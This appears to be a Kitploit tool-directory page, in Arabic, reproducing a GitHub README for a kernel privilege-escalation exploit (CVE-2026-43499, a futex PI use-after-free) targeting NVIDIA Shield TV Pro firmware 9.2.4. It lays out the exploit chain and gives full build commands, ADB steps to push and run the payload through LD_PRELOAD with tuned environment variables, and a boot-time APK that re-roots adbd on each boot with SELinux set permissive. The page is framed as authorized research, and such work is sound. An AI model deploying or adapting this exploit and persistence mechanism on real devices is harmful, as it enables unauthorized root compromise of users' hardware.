Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
GhostLock-NVIDIA-Shield-9.2.4 — منفذ مُتحقق منه لثغرة GhostLock CVE-2026-43499 لجهاز NVIDIA Shield TV Pro موديل mdarcy 9.2.4 | Kitploit
أدوات/GitHubGitHub/cyberbalsa/ghostlock-nvidia-shield-9.2.4
أمان أندرويدتصعيد الامتيازاتأطر الاستغلالآليات الاستمراريةالاستغلالأمن الجوالتطوير الحمولاتاستغلال الملفات الثنائية

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
GitHub
cyberbalsa/ghostlock-nvidia-shield-9.2.4

GhostLock-NVIDIA-Shield-9.2.4

منفذ مُتحقق منه لثغرة GhostLock CVE-2026-43499 لجهاز NVIDIA Shield TV Pro موديل mdarcy 9.2.4

عرض المستودع
1منذ 15س 9دلم تتم المراجعة بعد

GhostLock لـ NVIDIA Shield TV Pro 9.2.4

منفذ arm64 مُتحقق منه لثغرة GhostLock futex PI use-after-free (CVE-2026-43499) لجهاز NVIDIA Shield TV Pro 2019 (mdarcy) الذي يعمل بنظام Shield Experience 9.2.4. تُغيّر الحمولة بيانات اعتماد خادم ADB النشط، لتصبح جلسات ADB الجديدة بمعرف مستخدم UID 0 دون فتح مُحمّل الإقلاع، أو مسح بيانات المستخدم، أو تثبيت su، أو تعديل الأقسام المُتحقق منها.

هذا استغلال نواة خاص ببناء مُحدد لأبحاث أمنية مُصرح بها. عدم التطابق أو خسارة السباق قد يُسبب انهيار النواة. لا تشغّله على بصمة إصدار، أو نواة، أو جهاز، أو مراجعة عتاد أخرى.

الهدف المُتحقق منه

الحقلالقيمة المطلوبة
المنتجNVIDIA Shield TV Pro 2019، mdarcy
بصمة الإصدارNVIDIA/mdarcy/mdarcy:11/RQ1A.210105.003/7825230_4387.0822:user/release-keys
النواة4.9.141-tegra-gb6e5605a
مستوى تصحيح Android2026-01-05
قاعدة النواة0xffffff8008080000 (الإزاحة معطّلة)

تم التحقق من المنفذ على جهاز مقفل مع Verified Boot أخضر و dm-verity مُفعّل. تبقى هذه الآليات سليمة لأن الاستغلال يُغيّر حالة النواة الحية فقط.

النتيجة والعمر الافتراضي

بعد تشغيل ناجح، يُبلغ اتصال جديد عن UID/GID 0 لكل من adbd وغلافه الفرعي، مع صلاحيات كاملة حتى الصلاحية 37، وseccomp معطّل، وSELinux متساهل. يستمر الجذر عبر قطع اتصال عميل ADB. لا يستمر عبر إعادة تشغيل adbd أو إعادة تشغيل الجهاز بحد ذاته.

للاستمرارية العملية عبر إعادة التشغيل دون تعديل الأقسام المُتحقق منها، يتضمن المستودع APK لبيانات المستخدم. مستقبِل BOOT_COMPLETED غير المُصدَّر يبدأ خدمة أمامية قصيرة العمر، تُشغّل الاستغلال المثبّت بالتجزئة مرة واحدة لكل إقلاع من UID تطبيق غير مميز وتتوقف عند خروج المُشغّل. لا حاجة لمضيف خارجي بعد التثبيت. يبقى مراقب Podman خارجي متاحًا كخيار استرداد احتياطي. انظر persistence/README.md و watchdog/README.md.

هذا إعادة استغلال ذاتية، وليس تصحيح برمجي ثابت: كل إقلاع له فاصل زمني قصير يظل فيه adbd ببيانات اعتماده الأصلية. جعل adbd يبدأ كجذر قبل تهيئة Android له يتطلب تغيير سلسلة الإقلاع المُتحقق منها، وهو خارج نطاق هذا التصميم المقفل بدون مسح.

سلسلة الاستغلال

  1. تشغيل مسار التراجع المعيب في futex PI والاحتفاظ بـ rt_mutex_waiter قديم على مكدس النواة.
  2. ختم المكدس المُسترجع بـ MCAST_BLOCK_SOURCE وإعادة توجيه عملية شجرة rt-mutex.
  3. استرجاع صفحة بلاطة mm_struct حرة من الرتبة-2 بحمولة skb مُشكّلة.
  4. إعادة توجيه ashmem_misc.fops إلى جدول مزيف مدعوم بمعالجات قراءة/كتابة configfs القديمة.
  5. اجتياز قائمة المهام، وتحديد PID المطلوب لـ adbd، والتحقق من كائن بيانات اعتماده الكامل.
  6. تنفيذ كتابة واحدة محدودة عبر المعرفات، وsecurebits، وكلمات الصلاحيات؛ وجعل SELinux متساهلًا؛ ثم استعادة عمليات ashmem ومؤشر معرف الإقلاع.

لا تُستخدم مرحلة القراءة/الكتابة الفيزيائية الموروثة عبر pipe-buffer. الملاحظات التفصيلية للهدف والإزاحات المُتحقق منها موجودة في PORT_STATUS.md.

البناء

المُترجم هو Android NDK r29 (aarch64-linux-android30-clang). ابدأ البناء مباشرة مع NDK Linux مثبت:

root@kitploit:~
cd exploit
make NDK=/opt/android-ndk-r29

أو ابدأ بناء صورة Podman المرفقة، التي تُنزّل أرشيف Linux الرسمي r29 وتتحقق من SHA-1 المنشور قبل الاستخراج:

root@kitploit:~
podman build -t ghostlock-android:ndk-r29 -f build/Containerfile .
podman run --rm \
  -v "$PWD:/src:Z" \
  -w /src/exploit \
  ghostlock-android:ndk-r29 make -B

المخرجات:

root@kitploit:~
exploit/build/preload-mdarcy-9.2.4.so
SHA-256 a3a1e75b627d8dd419e9bafd2a73082a8647510bf6ce4f975e52baf5aa1d0761

يستبعد بناء Shield عمدًا خادم su المدمج وحمولة خلفية الشاشة من المشروع المرجعي.

التشغيل

اتصل عبر ADB شبكي مُصرح به، وادفع أصل الإصدار أو البناء المحلي، ثم ادخل إلى غلاف ADB:

root@kitploit:~
adb connect SHIELD_ADDRESS:5555
adb -s SHIELD_ADDRESS:5555 push \
  exploit/build/preload-mdarcy-9.2.4.so \
  /data/local/tmp/preload-mdarcy-9.2.4.so
adb -s SHIELD_ADDRESS:5555 shell chmod 0755 \
  /data/local/tmp/preload-mdarcy-9.2.4.so
adb -s SHIELD_ADDRESS:5555 shell

شغّل هذا داخل غلاف الجهاز:

root@kitploit:~
GHOSTLOCK_FIXED_BASE=1 \
GHOSTLOCK_MAIN_ROUTE=slide-mcast \
GHOSTLOCK_SLIDE_FULL_LOCK=1 \
GHOSTLOCK_MIXED_ORDER_PAYLOAD=1 \
GHOSTLOCK_MM_PARTIALS=14 \
GHOSTLOCK_BUDDY_HOLD_PAIRS=256 \
GHOSTLOCK_BUDDY_HOLD_SENDS=8192 \
GHOSTLOCK_RECLAIM_PAIRS=64 \
GHOSTLOCK_RECLAIM_SENDS=2048 \
GHOSTLOCK_ADBD_ROOT_CONFIGFS=1 \
GHOSTLOCK_ADBD_PID="$(pidof adbd)" \
LD_PRELOAD=/data/local/tmp/preload-mdarcy-9.2.4.so \
/system/bin/true

افصل وافتح ناقلًا جديدًا للتحقق:

root@kitploit:~
adb disconnect SHIELD_ADDRESS:5555
adb connect SHIELD_ADDRESS:5555
adb -s SHIELD_ADDRESS:5555 shell id
adb -s SHIELD_ADDRESS:5555 shell \
  'grep -E "^(Uid|Gid|Cap(Inh|Prm|Eff|Bnd|Amb)|Seccomp):" /proc/$(pidof adbd)/status'

ترفض الحمولة إعادة التشغيل من غلاف ADB بمعرف UID 0 بالفعل ما لم يتم توفير GHOSTLOCK_FORCE_ROOT_TRIGGER=1 عمدًا. لا تُجبرها؛ فمسار الجدولة المميز له سلوك PI مختلف وقد يُسبب انهيار النواة.

الاستمرارية على الجهاز

نزّل APK الإصدار الموقّع إلى persistence/app/build/ghostlock-boot-mdarcy-9.2.4.apk، ثم ثبّته وفعّله من مضيف ADB PowerShell مُصرح به:

root@kitploit:~
./persistence/install.ps1 `
  -Target SHIELD_ADDRESS:5555 `
  -AdbPath C:/path/to/platform-tools/adb.exe

يُغيّر المُثبّت بيانات المستخدم فقط ولا يُعيد تشغيل الجهاز. عند BOOT_COMPLETED التالي، يتحقق التطبيق من بصمة الإصدار الدقيقة والنواة وتجزئة الحمولة المدمجة، ويسجّل محاولته، ويستدعي GhostLock من UID التطبيق العادي. قفل ملف، وحالة محاولة واحدة لكل إقلاع، وفترة تبريد 15 دقيقة عبر عمليات الإقلاع تمنع المحاولات المكررة أو حلقات إعادة التشغيل. لا يُثبّت أي ثنائي su. يعرض Android إشعارًا منخفض الأولوية Restoring ADB root فقط أثناء نشاط المُشغّل الأصلي؛ يزيله المُنتظر عند خروج العملية. انظر persistence/README.md لتفاصيل البناء والتوقيع والسجلات والتحقق والاسترداد وإلغاء التثبيت.

تم التحقق من APK النهائي مع إيقاف المراقب الخارجي: عدد الإقلاع 134 أظهر أولاً adbd الأصلي بمعرف UID-2000/مُفعّل، وكان الناقل الجديد التالي بمعرف UID/GID 0 مع قناع الصلاحيات الكامل 0x3fffffffff، وseccomp معطّل، وSELinux متساهل. كانت الخدمة والإشعار قد نظّفا نفسيهما.

السجلات والاسترداد

تُكتب تشخيصات التشغيل اليدوي بشكل متزامن إلى /sdcard/Download/log_<timestamp>.txt، مع الرجوع إلى /data/local/tmp. يعيد تطبيق الإقلاع توجيه مخرجات المُشغّل والحمولة إلى files/boot.log الخاص به، القابل للقراءة عبر run-as com.cyberbalsa.ghostlockboot. إذا أدى السباق إلى انهيار النواة، تمنع حالة ما قبل التشغيل محاولة أخرى في ذلك عدد الإقلاع وتمتد فترة التبريد 15 دقيقة عبر إعادة التشغيل.

خريطة المستودع

  • exploit/src/: التشغيل، والاسترجاع، والقراءة/الكتابة العشوائية، وتصحيح بيانات اعتماد adbd المحدود.
  • exploit/targets/shield-mdarcy-9.2.4/: تخطيط الهدف الدقيق الخاص بالبناء.
  • analysis/: أدوات استخراج رموز النواة والتخطيط.
  • persistence/: APK إقلاع على الجهاز، ومُشغّل أصلي، ومُثبّت.
  • watchdog/: خيار استرداد احتياطي من جانب المضيف مثبّت بالتجزئة.
  • report.md: تحليل المنفذ المرجعي الأصلي OPPO المحفوظ لأغراض التتبع.

الاعتمادات والترخيص

يُشتق هذا المنفذ من إطار عمل GhostLock البحثي والاستغلالي المنشور بواسطة NebuSec ومنفذ OPPO PCKM00 المرجعي بواسطة yijiacloud. KernelSnitch مدمج بموجب شروطه الأصلية.

  • https://github.com/NebuSec/CyberMeowfia
  • https://github.com/yijiacloud/GhostLock-OPPO-PCKM00
  • https://github.com/torvalds/linux/commit/3bfdc63936dd4773109b7b8c280c0f3b5ae7d349

Apache-2.0؛ انظر LICENSE.

تنزيل الأداة